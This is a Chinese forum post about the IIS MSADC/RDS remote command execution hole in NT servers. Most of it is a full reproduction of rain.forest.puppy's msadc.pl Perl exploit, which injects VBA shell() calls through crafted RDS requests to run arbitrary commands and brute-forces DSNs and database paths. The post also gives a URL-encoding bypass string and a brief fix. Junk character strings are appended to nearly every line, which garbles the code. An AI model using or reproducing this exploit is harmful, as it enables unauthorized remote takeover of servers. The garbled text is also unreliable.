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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) qR!SwG44+  
/r Zj=  
涉及程序: E>xdJ  
Microsoft NT server <9YRSE [Ed  
*nU7v3D  
描述: n_sCZ6uXEQ  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 /og2+!  
2@Jw?+}vr  
详细: '~%1p_0dq  
如果你没有时间读详细内容的话,就删除: "zR+}  
c:\Program Files\Common Files\System\Msadc\msadcs.dll !HM{imT  
有关的安全问题就没有了。 \MQ|(  
4dv+RRpGOv  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 B|gyr4]  
Zz= +?L  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 bTE%p0  
关于利用ODBC远程漏洞的描述,请参看: *^ncb,1+i  
vL{sk|2&  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 2Q,e1' =  
a_w# ,^/P  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 <i`Ipj  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp ` *x;&.&v  
IIUoB!`  
这里不再论述。 X a#`VDh  
C^XJE1D.  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: B<J} YN  
X0+$pJ60  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset ko*Ir@SDv  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! >`Gys8T  
q>X#Aaib  
m^@,0\F  
#将下面这段保存为txt文件,然后: "perl -x 文件名" )t{?7wy  
IM|VGT0  
#!perl W'eF | hu  
# 4*d$o=wa  
# MSADC/RDS 'usage' (aka exploit) script |E&a3TQW  
# 03L+[F&"?  
# by rain.forest.puppy <5rp$AzT  
# R}>xpU1  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me \ " {+J  
# beta test and find errors! uV`r_P  
ob05:D_bc9  
use Socket; use Getopt::Std; C:xg M'~+  
getopts("e:vd:h:XR", \%args); Z0s}65BR  
zMxHJNQ\D  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; d}j%. JJK  
kL\ FY  
if (!defined $args{h} && !defined $args{R}) { n|sP0,$N1  
print qq~ *,q ?mO  
Usage: msadc.pl -h <host> { -d <delay> -X -v } WM$}1:O  
-h <host> = host you want to scan (ip or domain) ~CCRs7V/L  
-d <seconds> = delay between calls, default 1 second /J )MW{;O  
-X = dump Index Server path table, if available 3Cmbt_WV  
-v = verbose X|fl_4NC>  
-e = external dictionary file for step 5 _>+!&_h  
ZpvURp,I  
Or a -R will resume a command session $ OB2ZS"  
S#_g/3w  
~; exit;} w$8Su:g=  
T'B43Q  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 8Y?zxmwn]  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} W{:^P0l  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} n4\UoKq  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); d"o5uo  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} ,|6 O}E&  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } r0t4\d_&  
67/JsL  
if (!defined $args{R}){ $ret = &has_msadc; uNSaw['0j  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} pW$ZcnU  
{~q"Y]?  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" 2-=Ov@y2k!  
. "cmd /c "; #0>??]&r  
$in=<STDIN>; chomp $in; >L[n4x\  
$command="cmd /c " . $in ; '/M9V{DD88  
S"hA@j  
if (defined $args{R}) {&load; exit;} IlN: NS  
xe?!UCUb@  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; /2 z, ?,jL  
&try_btcustmr; ~ +DPq|-O  
Y\s ge  
print "\nStep 2: Trying to make our own DSN..."; XzLB#0  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; h|~I'M]*  
1.Kun !w  
print "\nStep 3: Trying known DSNs..."; h [*/Tnr  
&known_dsn; r+ v?~m!  
fghw\\]3  
print "\nStep 4: Trying known .mdbs..."; DR]=\HQ  
&known_mdb; $fifx>!  
#<h//<  
if (defined $args{e}){ >u?m Bx  
print "\nStep 5: Trying dictionary of DSN names..."; 5<64 C}fE3  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } xf2|9Tqt  
NJ]AxFG  
print "Sorry Charley...maybe next time?\n"; vq?Lej  
exit; g{ ()   
-sjyv/%_  
############################################################################## 7b8+"5~  
^mwS6WH6  
sub sendraw { # ripped and modded from whisker ,J;Cb}  
sleep($delay); # it's a DoS on the server! At least on mine... _(7f0p  
my ($pstr)=@_; jD}G9=[$1  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ehTrjb3k  
die("Socket problems\n"); KBC?SxJSJc  
if(connect(S,pack "SnA4x8",2,80,$target)){ r=}v` R&  
select(S); $|=1; LX'z7fh  
print $pstr; my @in=<S>; X,xCR]+5S  
select(STDOUT); close(S); nh XVc((  
return @in; bW-sTGjRD  
} else { die("Can't connect...\n"); }} IL>VH`D  
Wn%b}{9Fb  
############################################################################## X'uQr+p^  
;_X2E~i[  
sub make_header { # make the HTTP request =;Q:z^S  
my $msadc=<<EOT s$gR;su)g  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 )L/0X40<.  
User-Agent: ACTIVEDATA {gz-w|7  
Host: $ip ;mT  
Content-Length: $clen xmNs%  
Connection: Keep-Alive q0C%">>1 #  
O!G!Gq&  
ADCClientVersion:01.06 gNHS:k\"  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 @{>0v"@  
"wy2u~  
--!ADM!ROX!YOUR!WORLD! y{KYR)   
Content-Type: application/x-varg $GR rTC!  
Content-Length: $reqlen [H[L};%=j  
`r'$l<(4WV  
EOT PrHoN2y5E  
; $msadc=~s/\n/\r\n/g; ,njlKkFw^Z  
return $msadc;} Xf#+^cQ  
XL[Dmu&  
############################################################################## i E?yvtr8  
e9RH[:  
sub make_req { # make the RDS request A.vf)hO  
my ($switch, $p1, $p2)=@_; Zg%tN#6y  
my $req=""; my $t1, $t2, $query, $dsn; GT7&>}FJ)  
ck< `kJ`b  
if ($switch==1){ # this is the btcustmr.mdb query >4#: qIU  
$query="Select * from Customers where City=" . make_shell(); j{j5TvsrY  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . ",xTgB3?V  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} XV}}A ^  
[D+,I1u2h  
elsif ($switch==2){ # this is general make table query YkFAu8b>  
$query="create table AZZ (B int, C varchar(10))"; 9 JhCSw-<)  
$dsn="$p1";} [Tl66Eyl  
ur.krsU  
elsif ($switch==3){ # this is general exploit table query qSGM6kb  
$query="select * from AZZ where C=" . make_shell(); O{EPq' x  
$dsn="$p1";} 5 JlgnxRq  
kY?tUpM!TB  
elsif ($switch==4){ # attempt to hork file info from index server 3G[|4v?[<_  
$query="select path from scope()"; L+S)hgUH  
$dsn="Provider=MSIDXS;";} F$-fj "jC  
;\v&4+3S  
elsif ($switch==5){ # bad query &b`'RZe  
$query="select"; GM8Q#vc  
$dsn="$p1";} jEE!H /  
`Se2f0",  
$t1= make_unicode($query); aAbA)'G  
$t2= make_unicode($dsn); Lk!m1J5  
$req = "\x02\x00\x03\x00"; c`/VYgcTqB  
$req.= "\x08\x00" . pack ("S1", length($t1)); P-a8S*RRa  
$req.= "\x00\x00" . $t1 ; Zs]n0iwM'@  
$req.= "\x08\x00" . pack ("S1", length($t2)); tz8 fZ*n  
$req.= "\x00\x00" . $t2 ; -uxU[E  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";  H~TuQ  
return $req;} wAw1K2d  
2{.g7bO  
############################################################################## }`2a>N: &  
[-VK! 9pQ  
sub make_shell { # this makes the shell() statement z{|0W!nHJ  
return "'|shell(\"$command\")|'";} t V( WhP  
/{:XYeX  
############################################################################## Ka6u*:/  
z"T+J?V/  
sub make_unicode { # quick little function to convert to unicode SswcO9JCX3  
my ($in)=@_; my $out; %g:'6%26  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } J;NIa[a  
return $out;} ?Wz2J3A.2t  
bZ1*:k2  
############################################################################## 4b[bj").A  
(~eS$8>.  
sub rdo_success { # checks for RDO return success (this is kludge) :Fm*WqZu  
my (@in) = @_; my $base=content_start(@in); mZ2CG O R  
if($in[$base]=~/multipart\/mixed/){ p5$}h,7  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} } A+ncabm  
return 0;} aPzn4}~/_  
/='0W3+o*L  
############################################################################## "5L?RkFi\  
1Xo0(*O  
sub make_dsn { # this makes a DSN for us =y-yHRC7  
my @drives=("c","d","e","f"); ~h_ _Y>  
print "\nMaking DSN: "; ]:#=[ CH  
foreach $drive (@drives) { CV\^gTPmx  
print "$drive: "; )2RRa^=&  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . %-yzU/`JF  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" {j9TzR  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); pJvPEKN  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; iphC\*F  
return 0 if $2 eq "404"; # not found/doesn't exist >vp4R`  
if($2 eq "200") { Dc@O Mr  
foreach $line (@results) { Ij7P-5=<  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} ~9 .=t'  
} return 0;} pDZewb&cA  
-'g> i  
############################################################################## uDie205  
3nG.ah  
sub verify_exists { ( ne[a2%>  
my ($page)=@_; O_8 SlW0e  
my @results=sendraw("GET $page HTTP/1.0\n\n"); |dLr #+'az  
return $results[0];} I{OizBom  
5PO_qr= Hx  
############################################################################## u0Wt"d-=  
Vt(Wy  
sub try_btcustmr {  y Ne?a{  
my @drives=("c","d","e","f"); -$W1wb9z  
my @dirs=("winnt","winnt35","winnt351","win","windows"); #0r~/gW  
?)|}gr  
foreach $dir (@dirs) { @KK6JyOTQ  
print "$dir -> "; # fun status so you can see progress h40;Q<D  
foreach $drive (@drives) { 6&os`!  
print "$drive: "; # ditto YK)m6zW5  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; uVUU1@  
$reqlenlen=length( "$reqlen" ); ?4%H(k5A  
$clen= 206 + $reqlenlen + $reqlen; ;.uYWP|9  
&Gjpc>d  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); ,fp+nu8,  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} |-x-CSN  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 7. <jdp  
Jz` jN~  
############################################################################## \1!Q.V  
6p4BsWPx  
sub odbc_error { -`I|=lBz{H  
my (@in)=@_; my $base; 20V~?xs~  
my $base = content_start(@in); 3W7^,ir  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this (U.Go/A#wE  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; KAClV%jP  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; D{N8q^Cs9  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; d$3rcH1  
return $in[$base+4].$in[$base+5].$in[$base+6];} d <}'eBT'  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; T&_&l;syA  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . vW=-RTRH  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} %3a-@!|1<  
mcV<)UA}  
############################################################################## fB3Jp~$  
|T6K?:U7  
sub verbose { *)Qv;'U=rn  
my ($in)=@_; Q-w# !<L.  
return if !$verbose; =:&xdphZ+  
print STDOUT "\n$in\n";} @q'kKVJs  
J#..xJ?XRD  
############################################################################## 0(7 IsG=t  
{nV/_o$$  
sub save { `3F#k[IR  
my ($p1, $p2, $p3, $p4)=@_; .nD#:86M  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 8 ??-H0P  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; XYo,5-  
close OUT;} '0D$C},^|8  
cX-M9Cz  
############################################################################## ]j3>=Jb;  
'3b\d:hN  
sub load { 0)WAQt\/  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 7'IIB1v.\  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); <c}@lj-j  
@p=<IN>; close(IN); I`0-q?l  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); :oIBJ u%/  
$target= inet_aton($ip) || die("inet_aton problems"); `*8}q!.  
print "Resuming to $ip ..."; \1<'XVS  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; {U=J>#@G  
if($p[1]==1) { >38>R0k35  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; #3rS{4[  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; e#C v*i_<  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); ?),b902C  
if (rdo_success(@results)){print "Success!\n";} ^ j\LB23  
else { print "failed\n"; verbose(odbc_error(@results));}} +5zXbfO  
elsif ($p[1]==3){ z)3TB&;  
if(run_query("$p[3]")){ (TT=i  
print "Success!\n";} else { print "failed\n"; }} P-\f-FS  
elsif ($p[1]==4){ w<9rTHG8,  
if(run_query($drvst . "$p[3]")){ cZh0\Dy U  
print "Success!\n"; } else { print "failed\n"; }} 9z#8K zXg  
exit;} +Ryj82;59z  
y*iZ;Bv j  
############################################################################## zq};{~u(  
yvB]rz} i  
sub create_table { 59Pc:Gg;  
my ($in)=@_; 4zMvHe  
$reqlen=length( make_req(2,$in,"") ) - 28; Jp=qPG|  
$reqlenlen=length( "$reqlen" ); ?6:qAFw  
$clen= 206 + $reqlenlen + $reqlen; 1 (<n^\J(  
my @results=sendraw(make_header() . make_req(2,$in,"")); B(W~]i  
return 1 if rdo_success(@results); +KTfGwKt  
my $temp= odbc_error(@results); verbose($temp); 0/Q_% :  
return 1 if $temp=~/Table 'AZZ' already exists/; Ugri _  
return 0;} 0<m7:D Gd  
9\_s&p=:.  
############################################################################## DN2 ]Y'  
$Z G&d  
sub known_dsn { v,-Tk=qP  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go .RxTz9(  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", *wTX  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", Nn05me"X  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); $nE{%?n-#  
wsQnjT>  
foreach $dSn (@dsns) { Orq/38:4G  
print "."; ^)dsi  
next if (!is_access("DSN=$dSn"));  ew1L+  
if(create_table("DSN=$dSn")){ 5eTA]  
print "$dSn successful\n"; x/s:/YN'  
if(run_query("DSN=$dSn")){ |Rf j 0+  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ^OY$ W  
print "Something's borked. Use verbose next time\n";}}} print "\n";} J||g(+H>  
,l>w9?0Z  
############################################################################## -gs I:-Xo  
e)e(f"t6Q  
sub is_access { kZ% AGc  
my ($in)=@_; >6C\T@{lJ  
$reqlen=length( make_req(5,$in,"") ) - 28; Oa/^A-'Q  
$reqlenlen=length( "$reqlen" ); N?@^BZ  
$clen= 206 + $reqlenlen + $reqlen; zB%~=@Q^6  
my @results=sendraw(make_header() . make_req(5,$in,"")); $>/d)o  
my $temp= odbc_error(@results); Exw d,2>  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); v^&HZk=(  
return 0;} XC3)#D#HGh  
c^W;p2^  
############################################################################## (pELd(*Ga  
H1-DK+Q:  
sub run_query { )q<VZ|V  
my ($in)=@_; dy6zrgxygP  
$reqlen=length( make_req(3,$in,"") ) - 28; Y][12{I{  
$reqlenlen=length( "$reqlen" ); :I#.d7`uk  
$clen= 206 + $reqlenlen + $reqlen; I$"Z\c8;  
my @results=sendraw(make_header() . make_req(3,$in,"")); R2)@Q  
return 1 if rdo_success(@results); "Da 1BuX\  
my $temp= odbc_error(@results); verbose($temp); #4AU&UM+i  
return 0;} F+*E}QpM  
>v,X:B?+FL  
############################################################################## L\4rvZa  
phDIUhL$z  
sub known_mdb { f,O10`4s  
my @drives=("c","d","e","f","g"); dC6>&@ VX  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 1:eWZ]B5"  
my $dir, $drive, $mdb; .w4|$.H  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; 'ON/WKJr|W  
_h1bVd-  
# this is sparse, because I don't know of many 5j`sJvq  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 0eO!,/  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", rRevyTs  
"\\system32\\certmdb.mdb", />xEpR3_A  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% Apu- 9|oP  
8g=O0Gb  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", >.SO2w  
"\\cfusion\\cfapps\\forums\\forums_.mdb", pqg2#@F.  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 72| gzm  
"\\cfusion\\cfapps\\security\\realm_.mdb", @6ckB (  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", \0|x<~#j'  
"\\cfusion\\database\\cfexamples.mdb", Z&^vEQ  
"\\cfusion\\database\\cfsnippets.mdb", 54z`KX 73  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", ;*5z&1O  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", g;Fd m5Q  
"\\cfusion\\brighttiger\\database\\cleam.mdb", ,q*|R O  
"\\cfusion\\database\\smpolicy.mdb", nWelM2  
"\\cfusion\\database\cypress.mdb", NL.3qx  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", K14.!m  
"\\website\\cgi-win\\dbsample.mdb", U$D:gZ  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", lsV>sW4]Z  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" 0^{Tq0Ri[  
); #these are just  '0f!o&?g  
foreach $drive (@drives) { dZ|bw0~_!  
foreach $dir (@dirs){ <2*+Y|Lk2  
foreach $mdb (@sysmdbs) { d)48m}[:  
print "."; BSS4}qyS  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ O#tmB?n*  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; !T`g\za/  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ >$}Mr%49  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; `LFT"qnp  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 1mgw0QO  
R?:K\  
foreach $drive (@drives) { ]@SEOc@ j  
foreach $mdb (@mdbs) { -0(+a$P7e  
print "."; VIWH~UR)&!  
if(create_table($drv . $drive . $dir . $mdb)){ (q"S0{  
print "\n" . $drive . $dir . $mdb . " successful\n"; |x.[*'X@  
if(run_query($drv . $drive . $dir . $mdb)){ qUe2(/TQu  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; tklS=R^Vn  
} else { print "Something's borked. Use verbose next time\n"; }}}} |{M F o)  
} gd3MP^O1  
GLY,<O>D5  
############################################################################## \(Dm\7Q.  
-{3^~vW|<  
sub hork_idx { +L?;g pVE&  
print "\nAttempting to dump Index Server tables...\n"; 4xx?x/q  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; Jv2V@6a(  
$reqlen=length( make_req(4,"","") ) - 28; a"O9;&}; &  
$reqlenlen=length( "$reqlen" ); sC.cMZe  
$clen= 206 + $reqlenlen + $reqlen; _uh@fRyh  
my @results=sendraw2(make_header() . make_req(4,"","")); a6T!)g  
if (rdo_success(@results)){ o) eW5s,6  
my $max=@results; my $c; my %d; #r&yH^-  
for($c=19; $c<$max; $c++){  qzD  
$results[$c]=~s/\x00//g; N*w{NB7L  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; ORo +]9)Yv  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; H_JT"~_2  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; ,J*#Ixe}  
$d{"$1$2"}="";} ue *mTMN  
foreach $c (keys %d){ print "$c\n"; } d#,   
} else {print "Index server doesn't seem to be installed.\n"; }} tV.96P;)/9  
;f3))x  
############################################################################## !Je!;mEvI  
wW/wvC-  
sub dsn_dict { A- hWg;  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); >GDN~'}^oz  
while(<IN>){ t;%MSedn  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; +DT)7 koA  
next if (!is_access("DSN=$dSn")); wd:SBU~f5*  
if(create_table("DSN=$dSn")){ {-c[w&q  
print "$dSn successful\n"; YF");itH  
if(run_query("DSN=$dSn")){ e3&.RrA  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 3Z)vJC9'  
print "Something's borked. Use verbose next time\n";}}} 7 ( /  
print "\n"; close(IN);} ET]`  
.=b)Ae c  
############################################################################## d 7QWK(d  
bO{wQ1)Z_  
sub sendraw2 { # ripped and modded from whisker ErMA$UkJ  
sleep($delay); # it's a DoS on the server! At least on mine... My >{;n=}  
my ($pstr)=@_; I'uRXvEr7  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || i3y>@$fRL\  
die("Socket problems\n"); QXT *O  
if(connect(S,pack "SnA4x8",2,80,$target)){ 0/%VejZ'  
print "Connected. Getting data"; G5x%:,n  
open(OUT,">raw.out"); my @in; ?< $DQ%bf  
select(S); $|=1; print $pstr; oxm3R8 S  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 4[]4KKO3Q2  
close(OUT); select(STDOUT); close(S); return @in; 8BJ&"y8H  
} else { die("Can't connect...\n"); }} ^RS`q+g  
#$>m`r  
############################################################################## {@[z-)N7\,  
*FUbKr0  
sub content_start { # this will take in the server headers m]U`7!  
my (@in)=@_; my $c; <yrl_vl{  
for ($c=1;$c<500;$c++) { g)k::k)<e  
if($in[$c] =~/^\x0d\x0a/){ nz]+G2 h  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } Y;XEC;PXD  
else { return $c+1; }}} *] cm{N  
return -1;} # it should never get here actually jkIgEF2d*  
o;@T6-VH  
############################################################################## Cc,,e`  
O9W|&LAL  
sub funky { 7fJWb)z!k  
my (@in)=@_; my $error=odbc_error(@in); Lm}:`  
if($error=~/ADO could not find the specified provider/){ J;g+  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; !N1DJd  
exit;} #4*~ 4/  
if($error=~/A Handler is required/){ e[7n`ka '  
print "\nServer has custom handler filters (they most likely are patched)\n"; jsG epi9  
exit;} v [ 4J0  
if($error=~/specified Handler has denied Access/){ u>.qhtm[  
print "\nServer has custom handler filters (they most likely are patched)\n"; x-/`c  
exit;}} /_P5U E(  
0Y9\,y_  
############################################################################## Rs cU=oaKi  
X)|b_3Z  
sub has_msadc { &pD6Qq{  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); {\L /?#  
my $base=content_start(@results); K Zw"?%H[  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); _$?SKid|o  
return 0;} yb#NB)+E@  
T0ebW w  
######################## L= fz:H  
RAQi&?Ko  
)FkJ=P0  
解决方案: H1>}E5^?  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll K -!YD}OF  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 cWSiJr):r  
yT<yy>J9l#  
拿出来充数 哈哈
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